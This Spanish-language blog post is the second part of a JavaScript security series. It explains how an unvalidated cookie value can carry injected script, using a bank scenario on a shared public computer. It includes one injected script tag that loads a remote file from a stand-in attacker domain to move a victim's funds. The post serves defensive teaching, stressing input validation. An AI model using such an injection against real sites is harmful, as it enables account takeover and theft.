Seguridad en Javascript Parte 2

Hace algunos días hablamos sobre seguridad en javascript con ejemplo de XSS. Hoy ha llegado el momento de retomar la platica y empezar a analizar algunos otros aspectos de seguridad en javascript. Vamos a continuar con nuestro ejemplo y los chicos de programadoresverdes.com

Supongamos que programadoresverdes.com ha notado su error, (estos chicos visitan este blog seguido) entonces han decidio hacer algo al respecto. Comienzan a buscar en google y se dan cuenta que una forma más efectiva de hacer el truqillo del saludo personalizado es almacenando el nombre del visitante en una cookie. Esta mejora tiene la ventaja de qe la cookie se puede guardar en el cliente por lo que el saludo personalizado duraría más que una sesión. No vamos a discutir el código para el almacenamiento de la cookie, ya que nuestro objetivo con esta serie de artículos es simplemente resaltar algunas de las fallas de seguridad que se pueden encontrar los desarrolladores javascript.

El problema con almacenar el nombre en una cookie, es que las cookies son fácilmente editadas. En la actualidad no es necesario siquiera saber en donde se almacenan las cookies ya que con el simple hecho de usar firefox y una extensión como web developer tools puedes editar las cookies, ya que esta extensión te ofrece la posibilidad de hacerlo directamente desde el navegador.

Igual que con el ejemplo de XSS, se puede inyectar código en la cookie de modo que sea ejecutado. Nuevamente recordamos que todo dato que no sea generado estrictamente por la aplicación debe ser validado sin importar su procedencia.

Esta técnica de ataque es especialmente útil en sitios públicos como café internet, librerías, escuelas y otros lugares donde se permita el acceso a internet a diferentes usuarios desde la misma máquina.

Las cookies no son el único sistema de almacenamiento del lado del cliente que puede ser contaminado con la intención de atacar un sitio o un usuario. Otros sistemas de almacenamiento como los ofrecidos por firefox o google gears pueden de igual forma ser contaminados. Por tal razón, no está de más repetir la recomendación: Chequea cada pieza de información que entre a tu aplicación sin importar su procedencia.

Veamos un ejemplo del tipo de daño que puede causarse con este ataque.

Supongamos que usuario A visita la página de su banco en un sitio público. Su banco almacena cookies en el navegador para después recuperar la información almacenada en ellas y ponerla en la pantalla. Probablemente parte de esa información es la última fecha de visita. Entonces cuando usuario A vuelve a entrar a la página del banco, la página lee la cookie almacenada, toma su valor y muestra un mensaje que dice “tu última visita fue: febrero 1 de 2010″. Ahora, usuario B ha notado que el banco falla en hacer un chequeo del dato recuperado por la cookie, por lo que espera a que usuario A desocupe la máquina y la toma para su uso, o mejor dicho, su abuso.

Usuario B va a las cookies y busca la que guarda la información de la última fecha de uso. Cuando la encuentra la edita agregando lo siguiente:

<script type=”text/javascript” src=”http://www.sitiomalvado.com/usuariob.js”></script&gt;

Como solo puedes guardar cierta información en una cookie, usuario B prefiere simplemente usar un tag script que llama a un archivo desde un servidor remoto. Este archivo es el que hará todo el trabajo sucio.

A partir de aquí todo es sencillo para usuario B ya que basta con un document.write() en el archivo llamado desde el servidor remoto para insertar código ajax el cual haga cosas como transferir dinero de la cuenta de usuario A a la de usuario B. No habrá forma de que usuario A reclame por esas transacciones ya que lo que pasará es lo siguiente:

Usuario B solo ha estado unos minutos en la computadora que usuario A uso para chequear su cuenta bancaria. Para no parecer sospechoso, permanece un poco más de tiempo haciendo cosas comunes como chequear su correo, ver un par de videos y luego, cuando calcula que ya ha estado suficiente tiempo para no levantar sospechas, se va. Al día siguiente usuario A vuelve para chequear su cuenta bancaria (Esta esperando confirmación de un pago o algo por el estilo). Ingresa en su cuenta y su banco busca la cookie que le dice cuando fue la última vez que uso el sitio. Lee la cookie y con ella el código para el ataque. El banco ha registrado que usuario A esta loggeado y todo el traspaso de fondos pasa mientras que usuario A está loggeado, por lo que desde el punto de vista del banco, usuario A ha hecho todos los movimientos que en realidad han sido hechos por un script.

Cuando usuario A deja el sitio, su banco vuelve a registrar esta fecha como la última fecha en que usuario A visitó el sitio, reescribiendo así la cookie anterior y borrando todo rastro del ataque hecho por usuario B.

Al final del día usuario B ha ganado todo el dinero de usuario A, usuario A se ha quedado sin dinero en el banco, y el banco no puede tomar una queja por que todo ha ocurrido mientras usuario A estaba loggeado. Para usuario A será muy difícil demostrar que no fue él quien hizo los movimientos ya que como la cookie fue reemplazada, no hay rastro de la contaminación hecha por usuario B.

Ahora, hay muchos factores que tiene que estar en sincronía para que algo como esto pueda pasar. Sin embargo, la intención es solo demostrar el tipo de ataques que se pueden lograr con tan solo contaminar la información en una cookie cuando el sitio que recibe dicha información no realiza un chequeo para asegurar que no haya nada malicioso en ella. También, a través de este ejemplo demostramos que por seguridad se debe guardar la menor cantidad de información posible del lado del cliente, donde es accesible y vulnerable. Un No No, es guardar información confidencial como nombres de usuario y contraseñas.

Verificar los datos que recibimos por parte del usuario, del cliente o de otros servicios (hablaremos de esto en el futuro) no hará nuestras aplicaciones 100% seguras, pero si nos protegerá contra la mayoría de los ataques comunes en la web.